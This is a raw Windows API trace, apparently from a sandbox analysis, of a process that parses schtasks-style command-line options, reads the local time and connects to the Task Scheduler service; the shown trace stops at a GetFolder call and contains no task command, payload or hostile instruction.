[0108.275] lstrlenW (lpString="ru") returned 2 [0108.275] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.275] lstrlenW (lpString="f") returned 1 [0108.275] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.275] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|ru|") returned 4 [0108.275] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|f|") returned 3 [0108.275] lstrlenW (lpString="|ru|") returned 4 [0108.275] lstrlenW (lpString="|f|") returned 3 [0108.275] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0108.275] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.275] lstrlenW (lpString="rp") returned 2 [0108.275] lstrlenW (lpString="rp") returned 2 [0108.275] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.275] lstrlenW (lpString="f") returned 1 [0108.275] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.275] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|rp|") returned 4 [0108.275] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|f|") returned 3 [0108.275] lstrlenW (lpString="|rp|") returned 4 [0108.275] lstrlenW (lpString="|f|") returned 3 [0108.275] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0108.275] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.276] lstrlenW (lpString="sc") returned 2 [0108.276] lstrlenW (lpString="sc") returned 2 [0108.276] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.276] lstrlenW (lpString="f") returned 1 [0108.276] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.276] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|sc|") returned 4 [0108.276] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|f|") returned 3 [0108.276] lstrlenW (lpString="|sc|") returned 4 [0108.276] lstrlenW (lpString="|f|") returned 3 [0108.276] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0108.276] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.276] lstrlenW (lpString="mo") returned 2 [0108.276] lstrlenW (lpString="mo") returned 2 [0108.276] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.276] lstrlenW (lpString="f") returned 1 [0108.276] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.276] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|mo|") returned 4 [0108.276] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|f|") returned 3 [0108.276] lstrlenW (lpString="|mo|") returned 4 [0108.276] lstrlenW (lpString="|f|") returned 3 [0108.276] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0108.276] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.276] lstrlenW (lpString="d") returned 1 [0108.276] lstrlenW (lpString="d") returned 1 [0108.276] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.276] lstrlenW (lpString="f") returned 1 [0108.276] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.276] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|d|") returned 3 [0108.276] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|f|") returned 3 [0108.276] lstrlenW (lpString="|d|") returned 3 [0108.276] lstrlenW (lpString="|f|") returned 3 [0108.276] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0108.276] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.277] lstrlenW (lpString="m") returned 1 [0108.277] lstrlenW (lpString="m") returned 1 [0108.277] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.277] lstrlenW (lpString="f") returned 1 [0108.277] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.277] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|m|") returned 3 [0108.277] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|f|") returned 3 [0108.277] lstrlenW (lpString="|m|") returned 3 [0108.277] lstrlenW (lpString="|f|") returned 3 [0108.277] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0108.277] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.277] lstrlenW (lpString="i") returned 1 [0108.277] lstrlenW (lpString="i") returned 1 [0108.277] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.277] lstrlenW (lpString="f") returned 1 [0108.277] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.277] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|i|") returned 3 [0108.277] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|f|") returned 3 [0108.277] lstrlenW (lpString="|i|") returned 3 [0108.277] lstrlenW (lpString="|f|") returned 3 [0108.277] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0108.277] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.277] lstrlenW (lpString="tn") returned 2 [0108.277] lstrlenW (lpString="tn") returned 2 [0108.277] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.277] lstrlenW (lpString="f") returned 1 [0108.277] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.277] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tn|") returned 4 [0108.277] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|f|") returned 3 [0108.277] lstrlenW (lpString="|tn|") returned 4 [0108.278] lstrlenW (lpString="|f|") returned 3 [0108.278] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0108.278] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.278] lstrlenW (lpString="tr") returned 2 [0108.278] lstrlenW (lpString="tr") returned 2 [0108.278] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.278] lstrlenW (lpString="f") returned 1 [0108.278] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.278] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tr|") returned 4 [0108.278] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|f|") returned 3 [0108.278] lstrlenW (lpString="|tr|") returned 4 [0108.279] lstrlenW (lpString="|f|") returned 3 [0108.279] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0108.279] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.279] lstrlenW (lpString="st") returned 2 [0108.279] lstrlenW (lpString="st") returned 2 [0108.279] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.279] lstrlenW (lpString="f") returned 1 [0108.279] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.279] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|st|") returned 4 [0108.279] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|f|") returned 3 [0108.279] lstrlenW (lpString="|st|") returned 4 [0108.279] lstrlenW (lpString="|f|") returned 3 [0108.279] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0108.279] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.279] lstrlenW (lpString="sd") returned 2 [0108.279] lstrlenW (lpString="sd") returned 2 [0108.279] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.279] lstrlenW (lpString="f") returned 1 [0108.279] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.279] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|sd|") returned 4 [0108.279] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|f|") returned 3 [0108.279] lstrlenW (lpString="|sd|") returned 4 [0108.279] lstrlenW (lpString="|f|") returned 3 [0108.279] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0108.279] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.279] lstrlenW (lpString="ed") returned 2 [0108.279] lstrlenW (lpString="ed") returned 2 [0108.279] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.279] lstrlenW (lpString="f") returned 1 [0108.279] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.279] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|ed|") returned 4 [0108.279] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|f|") returned 3 [0108.279] lstrlenW (lpString="|ed|") returned 4 [0108.280] lstrlenW (lpString="|f|") returned 3 [0108.280] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0108.280] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.280] lstrlenW (lpString="it") returned 2 [0108.280] lstrlenW (lpString="it") returned 2 [0108.280] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.280] lstrlenW (lpString="f") returned 1 [0108.280] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.280] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|it|") returned 4 [0108.280] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|f|") returned 3 [0108.280] lstrlenW (lpString="|it|") returned 4 [0108.280] lstrlenW (lpString="|f|") returned 3 [0108.280] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0108.280] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.280] lstrlenW (lpString="et") returned 2 [0108.280] lstrlenW (lpString="et") returned 2 [0108.280] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.280] lstrlenW (lpString="f") returned 1 [0108.280] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.280] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|et|") returned 4 [0108.280] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|f|") returned 3 [0108.280] lstrlenW (lpString="|et|") returned 4 [0108.280] lstrlenW (lpString="|f|") returned 3 [0108.280] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0108.280] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.280] lstrlenW (lpString="k") returned 1 [0108.280] lstrlenW (lpString="k") returned 1 [0108.280] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.280] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.280] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|k|") returned 3 [0108.280] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|f|") returned 3 [0108.281] lstrlenW (lpString="|k|") returned 3 [0108.281] lstrlenW (lpString="|f|") returned 3 [0108.281] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0108.281] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.281] lstrlenW (lpString="du") returned 2 [0108.281] lstrlenW (lpString="du") returned 2 [0108.281] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.281] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.281] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|du|") returned 4 [0108.281] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|f|") returned 3 [0108.281] lstrlenW (lpString="|du|") returned 4 [0108.281] lstrlenW (lpString="|f|") returned 3 [0108.281] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0108.281] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.281] lstrlenW (lpString="ri") returned 2 [0108.281] lstrlenW (lpString="ri") returned 2 [0108.281] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.281] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.281] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|ri|") returned 4 [0108.281] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|f|") returned 3 [0108.281] lstrlenW (lpString="|ri|") returned 4 [0108.281] lstrlenW (lpString="|f|") returned 3 [0108.281] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0108.281] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.281] lstrlenW (lpString="z") returned 1 [0108.281] lstrlenW (lpString="z") returned 1 [0108.281] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.282] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.282] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|z|") returned 3 [0108.282] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|f|") returned 3 [0108.282] lstrlenW (lpString="|z|") returned 3 [0108.282] lstrlenW (lpString="|f|") returned 3 [0108.282] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0108.282] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.282] lstrlenW (lpString="f") returned 1 [0108.282] lstrlenW (lpString="f") returned 1 [0108.282] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.282] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.282] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|f|") returned 3 [0108.282] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|f|") returned 3 [0108.282] lstrlenW (lpString="|f|") returned 3 [0108.282] lstrlenW (lpString="|f|") returned 3 [0108.282] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0108.282] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.282] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.282] GetProcessHeap () returned 0x177cee70000 [0108.282] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee7b4d0 [0108.282] _memicmp (_Buf1=0x177cee74c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.282] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x177cee7bb40, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0108.282] lstrlenW (lpString="MINUTE") returned 6 [0108.282] GetProcessHeap () returned 0x177cee70000 [0108.282] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0xe) returned 0x177cee7aa60 [0108.282] GetThreadLocale () returned 0x409 [0108.283] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0108.283] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.283] GetProcessHeap () returned 0x177cee70000 [0108.283] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x1fc) returned 0x177cee7ac80 [0108.283] GetProcessHeap () returned 0x177cee70000 [0108.283] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee7b680 [0108.283] _memicmp (_Buf1=0x177cee74c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.283] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x177cee7bb40, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0108.283] lstrlenW (lpString="First") returned 5 [0108.283] GetProcessHeap () returned 0x177cee70000 [0108.283] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0xc) returned 0x177cee7ac20 [0108.283] GetProcessHeap () returned 0x177cee70000 [0108.283] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee7b6b0 [0108.283] _memicmp (_Buf1=0x177cee74c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.283] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x177cee7bb40, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0108.283] lstrlenW (lpString="Second") returned 6 [0108.283] GetProcessHeap () returned 0x177cee70000 [0108.283] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0xe) returned 0x177cee7ab40 [0108.283] GetProcessHeap () returned 0x177cee70000 [0108.283] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee7b8c0 [0108.284] _memicmp (_Buf1=0x177cee74c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.284] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x177cee7bb40, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0108.284] lstrlenW (lpString="Third") returned 5 [0108.284] GetProcessHeap () returned 0x177cee70000 [0108.284] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0xc) returned 0x177cee7aae0 [0108.284] GetProcessHeap () returned 0x177cee70000 [0108.284] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee7ba70 [0108.284] _memicmp (_Buf1=0x177cee74c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.284] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x177cee7bb40, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0108.284] lstrlenW (lpString="Fourth") returned 6 [0108.284] GetProcessHeap () returned 0x177cee70000 [0108.284] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0xe) returned 0x177cee7aac0 [0108.284] GetProcessHeap () returned 0x177cee70000 [0108.284] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee7b980 [0108.284] _memicmp (_Buf1=0x177cee74c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.284] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x177cee7bb40, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0108.284] lstrlenW (lpString="Last") returned 4 [0108.284] GetProcessHeap () returned 0x177cee70000 [0108.284] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0xa) returned 0x177cee7a9e0 [0108.284] lstrlenW (lpString="10") returned 2 [0108.284] _wtol (_String="10") returned 10 [0108.284] GetProcessHeap () returned 0x177cee70000 [0108.284] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee7b470 [0108.284] _memicmp (_Buf1=0x177cee74c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.284] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x177cee7bb40, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0108.285] lstrlenW (lpString="First") returned 5 [0108.285] GetProcessHeap () returned 0x177cee70000 [0108.285] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0xc) returned 0x177cee7a9a0 [0108.285] _memicmp (_Buf1=0x177cee74c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.285] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x177cee7bb40, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0108.285] lstrlenW (lpString="Second") returned 6 [0108.285] GetProcessHeap () returned 0x177cee70000 [0108.285] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0xe) returned 0x177cee7ab00 [0108.285] _memicmp (_Buf1=0x177cee74c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.285] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x177cee7bb40, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0108.285] lstrlenW (lpString="Third") returned 5 [0108.285] _memicmp (_Buf1=0x177cee74c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.285] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x177cee7bb40, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0108.285] lstrlenW (lpString="Fourth") returned 6 [0108.285] _memicmp (_Buf1=0x177cee74c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.285] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x177cee7bb40, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0108.285] lstrlenW (lpString="Last") returned 4 [0108.285] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x162dcebf40, cchData=128 | out: lpLCData="0") returned 2 [0108.285] _memicmp (_Buf1=0x177cee74c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.285] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x177cee7bb40, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0108.286] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0108.286] GetProcessHeap () returned 0x177cee70000 [0108.286] GetProcessHeap () returned 0x177cee70000 [0108.286] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7ac20) returned 1 [0108.286] GetProcessHeap () returned 0x177cee70000 [0108.286] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7ac20) returned 0xc [0108.286] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7ac20) returned 1 [0108.286] GetProcessHeap () returned 0x177cee70000 [0108.286] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x16) returned 0x177cee7a960 [0108.286] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x162dcebf60, cchData=128 | out: lpLCData="0") returned 2 [0108.286] _memicmp (_Buf1=0x177cee74c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.286] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x177cee7bb40, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0108.286] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0108.286] GetProcessHeap () returned 0x177cee70000 [0108.286] GetProcessHeap () returned 0x177cee70000 [0108.286] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7ab40) returned 1 [0108.286] GetProcessHeap () returned 0x177cee70000 [0108.286] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7ab40) returned 0xe [0108.286] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7ab40) returned 1 [0108.286] GetProcessHeap () returned 0x177cee70000 [0108.286] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x16) returned 0x177cee7abc0 [0108.286] GetLocalTime (in: lpSystemTime=0x162dcec198 | out: lpSystemTime=0x162dcec198*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x1f, wMilliseconds=0x293)) [0108.286] lstrlenW (lpString="") returned 0 [0108.287] GetLocalTime (in: lpSystemTime=0x162dcecb88 | out: lpSystemTime=0x162dcecb88*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x1f, wMilliseconds=0x293)) [0108.287] lstrlenW (lpString="") returned 0 [0108.287] lstrlenW (lpString="") returned 0 [0108.287] lstrlenW (lpString="") returned 0 [0108.287] lstrlenW (lpString="") returned 0 [0108.287] lstrlenW (lpString="10") returned 2 [0108.287] _wtol (_String="10") returned 10 [0108.287] lstrlenW (lpString="") returned 0 [0108.287] lstrlenW (lpString="") returned 0 [0108.287] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0108.350] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0108.412] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x162dcec8e0 | out: ppv=0x162dcec8e0*=0x177ced756f0) returned 0x0 [0108.520] TaskScheduler:ITaskService:Connect (This=0x177ced756f0, serverName=0x162dcec9d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x162dcec9a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x162dcec980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x162dcec960*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0108.798] TaskScheduler:ITaskService:GetFolder (in: This=0x177ced756f0, Path=0x0, ppFolder=0x162dcecac0 | out: 